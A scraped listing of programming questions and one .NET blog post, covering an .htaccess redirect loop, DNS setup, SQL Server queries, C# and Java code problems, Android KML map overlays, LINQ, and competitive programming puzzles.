  In my website I changed or better word modified the directory name ""vehicles-cars"" to ""vehicles-cars-for-sale"" when i tried to redirect using wild card redirect my old directory name to new directory name in my web hosting cpanel account. every time when i open pages from that directory i am getting error code. This web-page has a redirect loop. The website is php. The problem is that that my lots of pages from old directory are indexed in googles and they are getting duplicate contents. If I redirect single page it works perfect but there are lots of pages so I need wild card redirect to redirect whole directory . I really need some advice what to do with this problem. Here is .htaccess file code for redirect thanks RewriteEngine on RewriteCond %{HTTP_HOST} ^example\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\.example\.com$ RewriteRule ^vehicles\-cars\/?(.*)$ "http\:\/\/example\.com\/vehicles\-cars\-for\-sale\/$1" [R=301,L] i have other wilcard redirect of whole directory with same code and its working perfect here is the code in .htaccss file which is same as above and working perfect for this directory RewriteCond %{HTTP_HOST} ^adsbuz\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\.adsbuz\.com$ RewriteRule ^autos\/?(.*)$ "http\:\/\/adsbuz\.com\/vehicles\-cars\-for\-sale\/$1" [R=301,L] so i dont understand whats wrong with the above code please i really need some expert advice thanks again

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• How can I make a sub-domain point to a dynamic IP and the rest of the domain as it is hosted on a server with static IP?

  - by sleeping_dragon

  Basically, I have a domain mydomain.com hosted by a certain hosting company on its servers. I have access to the cpanel and can make changes a s per required. However, I want to host a dvr remote interface on one of its pages. The DVR is in my office which has a dynamic IP address. I first thought of using the numerous free DDNS services available. But then since I already own a domain name I thought of using that one. How do I do it?

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• Should the hostname of my VPS point to the dedi IP of my Domain or to to a shared one used for new account creation?

  - by thomas

  I leased a VPS which I want to use to sell shared hosting. 3 IPs - I call them A, B and C here for simplicity. Actual setup is: A=NS1.mydomain.com; host.mydomain.com and is used to set-up new accounts in shared environment B=NS2.mydomain.com C=dedicated IP for mydomain.com (SSL secured) The more I read about DNS, the more I get confused; thus my question: Is this configuration "Good Practice", especially the hostname pointing to A rather than to C? And what would be a better alternative?

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• SQL last day in moth select

  - by Saif Khan

  I have the following table which is basically the summary of daily transactions and is loaded nightly. +++++++++++++++++++++++ + DateCreated + Sale + +++++++++++++++++++++++ + 20100101 + 1000 + + 20100131 + 2000 + + 20100210 + 2000 + + 20100331 + 4000 + +++++++++++++++++++++++ I need to display the sale by month, but only for the last day in each month. eg JAN 2000 FEB 0 MAR 4000 I could probably accomplish this with CASE in my select, but is this efficient? This is SQL Server 2000.

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• SQL Server 2008 Geography .STBuffer() distance measurement units

  - by Chris

  I'm working with a geographic point using lat/long and need to find other points in our database within a 5 mile radius of that point. However, I can't seem to find out what the "units" are for STBuffer, it doesn't seem to conform to feet, miles, meters, kilometers, etc. The documentation only refers to them as "units", any suggestions? Thanks [...] from geography::STGeomFromText('POINT(x y)', 4326).STBuffer(z).STIntersects(geography::STGeomFromText('POINT(' + CAST(v.Longitude as varchar(max)) + ' ' + CAST(v.Latitude as varchar(max)) + ')', 4326)) = 1

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• My abstract class implements an interface but doesn't implement some of its methods. How do I make i

  - by Stefan Monov

  interface ICanvasTool { void Motion(Point newLocation); void Tick(); } abstract class CanvasTool_BaseDraw : ICanvasTool { protected abstract void PaintAt(Point location); public override void Motion(Point newLocation) { // implementation } } class CanvasTool_Spray : CanvasTool_BaseDraw { protected abstract void PaintAt(Point location) { // implementation } public override void Tick() { // implementation } } This doesn't compile. I could add an abstract method "Tick_Implementation" to CanvasTool_BaseDraw, then implement ICanvasTool.Tick in CanvasTool_BaseDraw with a one-liner that just calls Tick_Implementation. Is this the recommended workaround?

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• FORMULA TO CALCULATE DIFFERENT COORDINATES FOR FLIGHT ROUTES IN KML

  - by xb

  I need to create flight routes in Google Earth. Example from point A to point B, How do i get the equivalent middle point for both and along point A to B, there are also many different coordinates joining so that the line would be a curve.

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• C++ pointer to different array

  - by begun

  Assume I have an array a and an array b. Both have the same type and size but different values. Now I create 3 or so pointers that point to different elements in a, you could say a[ 0 ], a[ 4 ] and a[ 13 ]. Now if I overwrite a with b via a=b - Where will the pointers point? Do the pointers still point to their original positions in a but the values they point to are now those of b?

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• Excel function advanced filter

  - by Adam

  I have a list of sales people and a list of their sale revenues in two separate columns. How do I use an advanced filter or other sorting means to find the max of the sale revenue column and then have the formula output be the corresponding sales person?

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• Android map performance with > 800 overlays of KML data

  - by span

  I have some a shape file which I have converted to a KML file that I wish to read coordinates from and then draw paths between the coordinates on a MapView. With the help of this great post: How to draw a path on a map using kml file? I have been able to read the the KML into an ArrayList of "Placemarks". This great blog post then showed how to take a list of GeoPoints and draw a path: http://djsolid.net/blog/android---draw-a-path-array-of-points-in-mapview The example in the above post only draws one path between some points however and since I have many more paths than that I am running into some performance problems. I'm currently adding a new RouteOverlay for each of the separate paths. This results in me having over 800 overlays when they have all been added. This has a performance hit and I would love some input on what I can do to improve it. Here are some options I have considered: Try to add all the points to a List which then can be passed into a class that will extend Overlay. In that new class perhaps it would be possible to add and draw the paths in a single Overlay layer? I'm not sure on how to implement this though since the paths are not always intersecting and they have different start and end points. At the moment I'm adding each path which has several points to it's own list and then I add that to an Overlay. That results in over 700 overlays... Simplify the KML or SHP. Instead of having over 700 different paths, perhaps there is someway to merge them into perhaps 100 paths or less? Since alot of paths are intersected at some point it should be possible to modify the original SHP file so that it merges all intersections. Since I have never worked with these kinds of files before I have not been able to find a way to do this in GQIS. If someone knows how to do this I would love for some input on that. Here is a link to the group of shape files if you are interested: http://danielkvist.net/cprg_bef_cbana_polyline.shp http://danielkvist.net/cprg_bef_cbana_polyline.shx http://danielkvist.net/cprg_bef_cbana_polyline.dbf http://danielkvist.net/cprg_bef_cbana_polyline.prj Anyway, here is the code I'm using to add the Overlays. Many thanks in advance. RoutePathOverlay.java package net.danielkvist; import java.util.List; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Paint; import android.graphics.Path; import android.graphics.Point; import android.graphics.RectF; import com.google.android.maps.GeoPoint; import com.google.android.maps.MapView; import com.google.android.maps.Overlay; import com.google.android.maps.Projection; public class RoutePathOverlay extends Overlay { private int _pathColor; private final List<GeoPoint> _points; private boolean _drawStartEnd; public RoutePathOverlay(List<GeoPoint> points) { this(points, Color.RED, false); } public RoutePathOverlay(List<GeoPoint> points, int pathColor, boolean drawStartEnd) { _points = points; _pathColor = pathColor; _drawStartEnd = drawStartEnd; } private void drawOval(Canvas canvas, Paint paint, Point point) { Paint ovalPaint = new Paint(paint); ovalPaint.setStyle(Paint.Style.FILL_AND_STROKE); ovalPaint.setStrokeWidth(2); int _radius = 6; RectF oval = new RectF(point.x - _radius, point.y - _radius, point.x + _radius, point.y + _radius); canvas.drawOval(oval, ovalPaint); } public boolean draw(Canvas canvas, MapView mapView, boolean shadow, long when) { Projection projection = mapView.getProjection(); if (shadow == false && _points != null) { Point startPoint = null, endPoint = null; Path path = new Path(); // We are creating the path for (int i = 0; i < _points.size(); i++) { GeoPoint gPointA = _points.get(i); Point pointA = new Point(); projection.toPixels(gPointA, pointA); if (i == 0) { // This is the start point startPoint = pointA; path.moveTo(pointA.x, pointA.y); } else { if (i == _points.size() - 1)// This is the end point endPoint = pointA; path.lineTo(pointA.x, pointA.y); } } Paint paint = new Paint(); paint.setAntiAlias(true); paint.setColor(_pathColor); paint.setStyle(Paint.Style.STROKE); paint.setStrokeWidth(3); paint.setAlpha(90); if (getDrawStartEnd()) { if (startPoint != null) { drawOval(canvas, paint, startPoint); } if (endPoint != null) { drawOval(canvas, paint, endPoint); } } if (!path.isEmpty()) canvas.drawPath(path, paint); } return super.draw(canvas, mapView, shadow, when); } public boolean getDrawStartEnd() { return _drawStartEnd; } public void setDrawStartEnd(boolean markStartEnd) { _drawStartEnd = markStartEnd; } } MyMapActivity package net.danielkvist; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import android.graphics.Color; import android.os.Bundle; import android.util.Log; import com.google.android.maps.GeoPoint; import com.google.android.maps.MapActivity; import com.google.android.maps.MapView; public class MyMapActivity extends MapActivity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); MapView mapView = (MapView) findViewById(R.id.mapview); mapView.setBuiltInZoomControls(true); String url = "http://danielkvist.net/cprg_bef_cbana_polyline_simp1600.kml"; NavigationDataSet set = MapService.getNavigationDataSet(url); drawPath(set, Color.parseColor("#6C8715"), mapView); } /** * Does the actual drawing of the route, based on the geo points provided in * the nav set * * @param navSet * Navigation set bean that holds the route information, incl. * geo pos * @param color * Color in which to draw the lines * @param mMapView01 * Map view to draw onto */ public void drawPath(NavigationDataSet navSet, int color, MapView mMapView01) { ArrayList<GeoPoint> geoPoints = new ArrayList<GeoPoint>(); Collection overlaysToAddAgain = new ArrayList(); for (Iterator iter = mMapView01.getOverlays().iterator(); iter.hasNext();) { Object o = iter.next(); Log.d(BikeApp.APP, "overlay type: " + o.getClass().getName()); if (!RouteOverlay.class.getName().equals(o.getClass().getName())) { overlaysToAddAgain.add(o); } } mMapView01.getOverlays().clear(); mMapView01.getOverlays().addAll(overlaysToAddAgain); int totalNumberOfOverlaysAdded = 0; for(Placemark placemark : navSet.getPlacemarks()) { String path = placemark.getCoordinates(); if (path != null && path.trim().length() > 0) { String[] pairs = path.trim().split(" "); String[] lngLat = pairs[0].split(","); // lngLat[0]=longitude // lngLat[1]=latitude // lngLat[2]=height try { if(lngLat.length > 1 && !lngLat[0].equals("") && !lngLat[1].equals("")) { GeoPoint startGP = new GeoPoint( (int) (Double.parseDouble(lngLat[1]) * 1E6), (int) (Double.parseDouble(lngLat[0]) * 1E6)); GeoPoint gp1; GeoPoint gp2 = startGP; geoPoints = new ArrayList<GeoPoint>(); geoPoints.add(startGP); for (int i = 1; i < pairs.length; i++) { lngLat = pairs[i].split(","); gp1 = gp2; if (lngLat.length >= 2 && gp1.getLatitudeE6() > 0 && gp1.getLongitudeE6() > 0 && gp2.getLatitudeE6() > 0 && gp2.getLongitudeE6() > 0) { // for GeoPoint, first:latitude, second:longitude gp2 = new GeoPoint( (int) (Double.parseDouble(lngLat[1]) * 1E6), (int) (Double.parseDouble(lngLat[0]) * 1E6)); if (gp2.getLatitudeE6() != 22200000) { geoPoints.add(gp2); } } } totalNumberOfOverlaysAdded++; mMapView01.getOverlays().add(new RoutePathOverlay(geoPoints)); } } catch (NumberFormatException e) { Log.e(BikeApp.APP, "Cannot draw route.", e); } } } Log.d(BikeApp.APP, "Total overlays: " + totalNumberOfOverlaysAdded); mMapView01.setEnabled(true); } @Override protected boolean isRouteDisplayed() { // TODO Auto-generated method stub return false; } } Edit: There are of course some more files I'm using but that I have not posted. You can download the complete Eclipse project here: http://danielkvist.net/se.zip

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• C#/.NET Little Wonders: The Joy of Anonymous Types

  - by James Michael Hare

  Once again, in this series of posts I look at the parts of the .NET Framework that may seem trivial, but can help improve your code by making it easier to write and maintain. The index of all my past little wonders posts can be found here. In the .NET 3 Framework, Microsoft introduced the concept of anonymous types, which provide a way to create a quick, compiler-generated types at the point of instantiation.  These may seem trivial, but are very handy for concisely creating lightweight, strongly-typed objects containing only read-only properties that can be used within a given scope. Creating an Anonymous Type In short, an anonymous type is a reference type that derives directly from object and is defined by its set of properties base on their names, number, types, and order given at initialization.  In addition to just holding these properties, it is also given appropriate overridden implementations for Equals() and GetHashCode() that take into account all of the properties to correctly perform property comparisons and hashing.  Also overridden is an implementation of ToString() which makes it easy to display the contents of an anonymous type instance in a fairly concise manner. To construct an anonymous type instance, you use basically the same initialization syntax as with a regular type.  So, for example, if we wanted to create an anonymous type to represent a particular point, we could do this: 1: var point = new { X = 13, Y = 7 }; Note the similarity between anonymous type initialization and regular initialization.  The main difference is that the compiler generates the type name and the properties (as readonly) based on the names and order provided, and inferring their types from the expressions they are assigned to. It is key to remember that all of those factors (number, names, types, order of properties) determine the anonymous type.  This is important, because while these two instances share the same anonymous type: 1: // same names, types, and order 2: var point1 = new { X = 13, Y = 7 }; 3: var point2 = new { X = 5, Y = 0 }; These similar ones do not: 1: var point3 = new { Y = 3, X = 5 }; // different order 2: var point4 = new { X = 3, Y = 5.0 }; // different type for Y 3: var point5 = new {MyX = 3, MyY = 5 }; // different names 4: var point6 = new { X = 1, Y = 2, Z = 3 }; // different count Limitations on Property Initialization Expressions The expression for a property in an anonymous type initialization cannot be null (though it can evaluate to null) or an anonymous function.  For example, the following are illegal: 1: // Null can't be used directly. Null reference of what type? 2: var cantUseNull = new { Value = null }; 3:  4: // Anonymous methods cannot be used. 5: var cantUseAnonymousFxn = new { Value = () => Console.WriteLine(“Can’t.”) }; Note that the restriction on null is just that you can’t use it directly as the expression, because otherwise how would it be able to determine the type?  You can, however, use it indirectly assigning a null expression such as a typed variable with the value null, or by casting null to a specific type: 1: string str = null; 2: var fineIndirectly = new { Value = str }; 3: var fineCast = new { Value = (string)null }; All of the examples above name the properties explicitly, but you can also implicitly name properties if they are being set from a property, field, or variable.  In these cases, when a field, property, or variable is used alone, and you don’t specify a property name assigned to it, the new property will have the same name.  For example: 1: int variable = 42; 2:  3: // creates two properties named varriable and Now 4: var implicitProperties = new { variable, DateTime.Now }; Is the same type as: 1: var explicitProperties = new { variable = variable, Now = DateTime.Now }; But this only works if you are using an existing field, variable, or property directly as the expression.  If you use a more complex expression then the name cannot be inferred: 1: // can't infer the name variable from variable * 2, must name explicitly 2: var wontWork = new { variable * 2, DateTime.Now }; In the example above, since we typed variable * 2, it is no longer just a variable and thus we would have to assign the property a name explicitly. ToString() on Anonymous Types One of the more trivial overrides that an anonymous type provides you is a ToString() method that prints the value of the anonymous type instance in much the same format as it was initialized (except actual values instead of expressions as appropriate of course). For example, if you had: 1: var point = new { X = 13, Y = 42 }; And then print it out: 1: Console.WriteLine(point.ToString()); You will get: 1: { X = 13, Y = 42 } While this isn’t necessarily the most stunning feature of anonymous types, it can be handy for debugging or logging values in a fairly easy to read format. Comparing Anonymous Type Instances Because anonymous types automatically create appropriate overrides of Equals() and GetHashCode() based on the underlying properties, we can reliably compare two instances or get hash codes.  For example, if we had the following 3 points: 1: var point1 = new { X = 1, Y = 2 }; 2: var point2 = new { X = 1, Y = 2 }; 3: var point3 = new { Y = 2, X = 1 }; If we compare point1 and point2 we’ll see that Equals() returns true because they overridden version of Equals() sees that the types are the same (same number, names, types, and order of properties) and that the values are the same.   In addition, because all equal objects should have the same hash code, we’ll see that the hash codes evaluate to the same as well: 1: // true, same type, same values 2: Console.WriteLine(point1.Equals(point2)); 3:  4: // true, equal anonymous type instances always have same hash code 5: Console.WriteLine(point1.GetHashCode() == point2.GetHashCode()); However, if we compare point2 and point3 we get false.  Even though the names, types, and values of the properties are the same, the order is not, thus they are two different types and cannot be compared (and thus return false).  And, since they are not equal objects (even though they have the same value) there is a good chance their hash codes are different as well (though not guaranteed): 1: // false, different types 2: Console.WriteLine(point2.Equals(point3)); 3:  4: // quite possibly false (was false on my machine) 5: Console.WriteLine(point2.GetHashCode() == point3.GetHashCode()); Using Anonymous Types Now that we’ve created instances of anonymous types, let’s actually use them.  The property names (whether implicit or explicit) are used to access the individual properties of the anonymous type.  The main thing, once again, to keep in mind is that the properties are readonly, so you cannot assign the properties a new value (note: this does not mean that instances referred to by a property are immutable – for more information check out C#/.NET Fundamentals: Returning Data Immutably in a Mutable World). Thus, if we have the following anonymous type instance: 1: var point = new { X = 13, Y = 42 }; We can get the properties as you’d expect: 1: Console.WriteLine(“The point is: ({0},{1})”, point.X, point.Y); But we cannot alter the property values: 1: // compiler error, properties are readonly 2: point.X = 99; Further, since the anonymous type name is only known by the compiler, there is no easy way to pass anonymous type instances outside of a given scope.  The only real choices are to pass them as object or dynamic.  But really that is not the intention of using anonymous types.  If you find yourself needing to pass an anonymous type outside of a given scope, you should really consider making a POCO (Plain Old CLR Type – i.e. a class that contains just properties to hold data with little/no business logic) instead. Given that, why use them at all?  Couldn’t you always just create a POCO to represent every anonymous type you needed?  Sure you could, but then you might litter your solution with many small POCO classes that have very localized uses. It turns out this is the key to when to use anonymous types to your advantage: when you just need a lightweight type in a local context to store intermediate results, consider an anonymous type – but when that result is more long-lived and used outside of the current scope, consider a POCO instead. So what do we mean by intermediate results in a local context?  Well, a classic example would be filtering down results from a LINQ expression.  For example, let’s say we had a List<Transaction>, where Transaction is defined something like: 1: public class Transaction 2: { 3: public string UserId { get; set; } 4: public DateTime At { get; set; } 5: public decimal Amount { get; set; } 6: // … 7: } And let’s say we had this data in our List<Transaction>: 1: var transactions = new List<Transaction> 2: { 3: new Transaction { UserId = "Jim", At = DateTime.Now, Amount = 2200.00m }, 4: new Transaction { UserId = "Jim", At = DateTime.Now, Amount = -1100.00m }, 5: new Transaction { UserId = "Jim", At = DateTime.Now.AddDays(-1), Amount = 900.00m }, 6: new Transaction { UserId = "John", At = DateTime.Now.AddDays(-2), Amount = 300.00m }, 7: new Transaction { UserId = "John", At = DateTime.Now, Amount = -10.00m }, 8: new Transaction { UserId = "Jane", At = DateTime.Now, Amount = 200.00m }, 9: new Transaction { UserId = "Jane", At = DateTime.Now, Amount = -50.00m }, 10: new Transaction { UserId = "Jaime", At = DateTime.Now.AddDays(-3), Amount = -100.00m }, 11: new Transaction { UserId = "Jaime", At = DateTime.Now.AddDays(-3), Amount = 300.00m }, 12: }; So let’s say we wanted to get the transactions for each day for each user.  That is, for each day we’d want to see the transactions each user performed.  We could do this very simply with a nice LINQ expression, without the need of creating any POCOs: 1: // group the transactions based on an anonymous type with properties UserId and Date: 2: byUserAndDay = transactions 3: .GroupBy(tx => new { tx.UserId, tx.At.Date }) 4: .OrderBy(grp => grp.Key.Date) 5: .ThenBy(grp => grp.Key.UserId); Now, those of you who have attempted to use custom classes as a grouping type before (such as GroupBy(), Distinct(), etc.) may have discovered the hard way that LINQ gets a lot of its speed by utilizing not on Equals(), but also GetHashCode() on the type you are grouping by.  Thus, when you use custom types for these purposes, you generally end up having to write custom Equals() and GetHashCode() implementations or you won’t get the results you were expecting (the default implementations of Equals() and GetHashCode() are reference equality and reference identity based respectively). As we said before, it turns out that anonymous types already do these critical overrides for you.  This makes them even more convenient to use!  Instead of creating a small POCO to handle this grouping, and then having to implement a custom Equals() and GetHashCode() every time, we can just take advantage of the fact that anonymous types automatically override these methods with appropriate implementations that take into account the values of all of the properties. Now, we can look at our results: 1: foreach (var group in byUserAndDay) 2: { 3: // the group’s Key is an instance of our anonymous type 4: Console.WriteLine("{0} on {1:MM/dd/yyyy} did:", group.Key.UserId, group.Key.Date); 5:  6: // each grouping contains a sequence of the items. 7: foreach (var tx in group) 8: { 9: Console.WriteLine("\t{0}", tx.Amount); 10: } 11: } And see: 1: Jaime on 06/18/2012 did: 2: -100.00 3: 300.00 4:  5: John on 06/19/2012 did: 6: 300.00 7:  8: Jim on 06/20/2012 did: 9: 900.00 10:  11: Jane on 06/21/2012 did: 12: 200.00 13: -50.00 14:  15: Jim on 06/21/2012 did: 16: 2200.00 17: -1100.00 18:  19: John on 06/21/2012 did: 20: -10.00 Again, sure we could have just built a POCO to do this, given it an appropriate Equals() and GetHashCode() method, but that would have bloated our code with so many extra lines and been more difficult to maintain if the properties change.  Summary Anonymous types are one of those Little Wonders of the .NET language that are perfect at exactly that time when you need a temporary type to hold a set of properties together for an intermediate result.  While they are not very useful beyond the scope in which they are defined, they are excellent in LINQ expressions as a way to create and us intermediary values for further expressions and analysis. Anonymous types are defined by the compiler based on the number, type, names, and order of properties created, and they automatically implement appropriate Equals() and GetHashCode() overrides (as well as ToString()) which makes them ideal for LINQ expressions where you need to create a set of properties to group, evaluate, etc. Technorati Tags: C#,CSharp,.NET,Little Wonders,Anonymous Types,LINQ

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• How to Zip one IEnumerable with itself

  - by wageoghe

  I am implementing some math algorithms based on lists of points, like Distance, Area, Centroid, etc. Just like in this post: http://stackoverflow.com/questions/2227828/find-the-distance-required-to-navigate-a-list-of-points-using-linq That post describes how to calculate the total distance of a sequence of points (taken in order) by essentially zipping the sequence "with itself", generating the sequence for Zip by offsetting the start position of the original IEnumerable by 1. So, given the Zip extension in .Net 4.0, assuming Point for the point type, and a reasonable Distance formula, you can make calls like this to generate a sequence of distances from one point to the next and then to sum the distances: var distances = points.Zip(points.Skip(1),Distance); double totalDistance = distances.Sum(); Area and Centroid calculations are similar in that they need to iterate over the sequence, processing each pair of points (points[i] and points[i+1]). I thought of making a generic IEnumerable extension suitable for implementing these (and possibly other) algorithms that operate over sequences, taking two items at a time (points[0] and points[1], points[1] and points[2], ..., points[n-1] and points[n] (or is it n-2 and n-1 ...) and applying a function. My generic iterator would have a similar signature to Zip, but it would not receive a second sequence to zip with as it is really just going to zip with itself. My first try looks like this: public static IEnumerable<TResult> ZipMyself<TSequence, TResult>(this IEnumerable<TSequence> seq, Func<TSequence, TSequence, TResult> resultSelector) { return seq.Zip(seq.Skip(1),resultSelector); } With my generic iterator in place, I can write functions like this: public static double Length(this IEnumerable<Point> points) { return points.ZipMyself(Distance).Sum(); } and call it like this: double d = points.Length(); and double GreensTheorem(Point p1, Point p1) { return p1.X * p2.Y - p1.Y * p2.X; } public static double SignedArea(this IEnumerable<Point> points) { return points.ZipMyself(GreensTheorem).Sum() / 2.0 } public static double Area(this IEnumerable<Point> points) { return Math.Abs(points.SignedArea()); } public static bool IsClockwise(this IEnumerable<Point> points) { return SignedArea(points) < 0; } and call them like this: double a = points.Area(); bool isClockwise = points.IsClockwise(); In this case, is there any reason NOT to implement "ZipMyself" in terms of Zip and Skip(1)? Is there already something in LINQ that automates this (zipping a list with itself) - not that it needs to be made that much easier ;-) Also, is there better name for the extension that might reflect that it is a well-known pattern (if, indeed it is a well-known pattern)? Had a link here for a StackOverflow question about area calculation. It is question 2432428. Also had a link to Wikipedia article on Centroid. Just go to Wikipedia and search for Centroid if interested. Just starting out, so don't have enough rep to post more than one link,

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• being able to solve google code jam problem sets

  - by JPro

  This is not a homework question, but rather my intention to know if this is what it takes to learn programming. I keep loggin into TopCoder not to actually participate but to get the basic understand of how the problems are solved. But to my knowledge I don't understand what the problem is and how to translate the problem into an algorithm that can solve it. Just now I happen to look at ACM ICPC 2010 World Finals which is being held in china. The teams were given problem sets and one of them is this: Given at most 100 points on a plan with distinct x-coordinates, find the shortest cycle that passes through each point exactly once, goes from the leftmost point always to the right until it reaches the rightmost point, then goes always to the left until it gets back to the leftmost point. Additionally, two points are given such that the the path from left to right contains the first point, and the path from right to left contains the second point. This seems to be a very simple DP: after processing the last k points, and with the first path ending in point a and the second path ending in point b, what is the smallest total length to achieve that? This is O(n^2) states, transitions in O(n). We deal with the two special points by forcing the first path to contain the first one, and the second path contain the second one. Now I have no idea what I am supposed to solve after reading the problem set. and there's an other one from google code jam: Problem In a big, square room there are two point light sources: one is red and the other is green. There are also n circular pillars. Light travels in straight lines and is absorbed by walls and pillars. The pillars therefore cast shadows: they do not let light through. There are places in the room where no light reaches (black), where only one of the two light sources reaches (red or green), and places where both lights reach (yellow). Compute the total area of each of the four colors in the room. Do not include the area of the pillars. Input * One line containing the number of test cases, T. Each test case contains, in order: * One line containing the coordinates x, y of the red light source. * One line containing the coordinates x, y of the green light source. * One line containing the number of pillars n. * n lines describing the pillars. Each contains 3 numbers x, y, r. The pillar is a disk with the center (x, y) and radius r. The room is the square described by 0 = x, y = 100. Pillars, room walls and light sources are all disjoint, they do not overlap or touch. Output For each test case, output: Case #X: black area red area green area yellow area Is it required that people who program should be should be able to solve these type of problems? I would apprecite if anyone can help me interpret the google code jam problem set as I wish to participate in this years Code Jam to see if I can do anthing or not. Thanks.

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• Window's content disappears when minimized

  - by Carmen Cojocaru

  I have a simple class that draws a line when mouse dragging or a dot when mouse pressing(releasing). When I minimize the application and then restore it, the content of the window disappears except the last dot (pixel). I understand that the method super.paint(g) repaints the background every time the window changes, but the result seems to be the same whether I use it or not. The difference between the two of them is that when I don't use it there's more than a pixel painted on the window, but not all my painting. How can I fix this? Here is the class. package painting; import java.awt.*; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.event.MouseMotionAdapter; import javax.swing.JFrame; import javax.swing.JPanel; class CustomCanvas extends Canvas{ Point oldLocation= new Point(10, 10); Point location= new Point(10, 10); Dimension dimension = new Dimension(2, 2); CustomCanvas(Dimension dimension){ this.dimension = dimension; this.init(); addListeners(); } private void init(){ oldLocation= new Point(0, 0); location= new Point(0, 0); } public void paintLine(){ if ((location.x!=oldLocation.x) || (location.y!=oldLocation.y)) { repaint(location.x,location.y,1,1); } } private void addListeners(){ addMouseListener(new MouseAdapter(){ @Override public void mousePressed(MouseEvent me){ oldLocation = location; location = new Point(me.getX(), me.getY()); paintLine(); } @Override public void mouseReleased(MouseEvent me){ oldLocation = location; location = new Point(me.getX(), me.getY()); paintLine(); } }); addMouseMotionListener(new MouseMotionAdapter() { @Override public void mouseDragged(MouseEvent me){ oldLocation = location; location = new Point(me.getX(), me.getY()); paintLine(); } }); } @Override public void paint(Graphics g){ super.paint(g); g.setColor(Color.red); g.drawLine(location.x, location.y, oldLocation.x, oldLocation.y); } @Override public Dimension getMinimumSize() { return dimension; } @Override public Dimension getPreferredSize() { return dimension; } } class CustomFrame extends JPanel { JPanel displayPanel = new JPanel(new BorderLayout()); CustomCanvas canvas = new CustomCanvas(new Dimension(200, 200)); public CustomFrame(String titlu) { canvas.setBackground(Color.white); displayPanel.add(canvas, BorderLayout.CENTER); this.add(displayPanel); } } public class CustomCanvasFrame { public static void main(String args[]) { CustomFrame panel = new CustomFrame("Test Paint"); JFrame f = new JFrame(); f.add(panel); f.pack(); SwingConsole.run(f, 700, 700); } }

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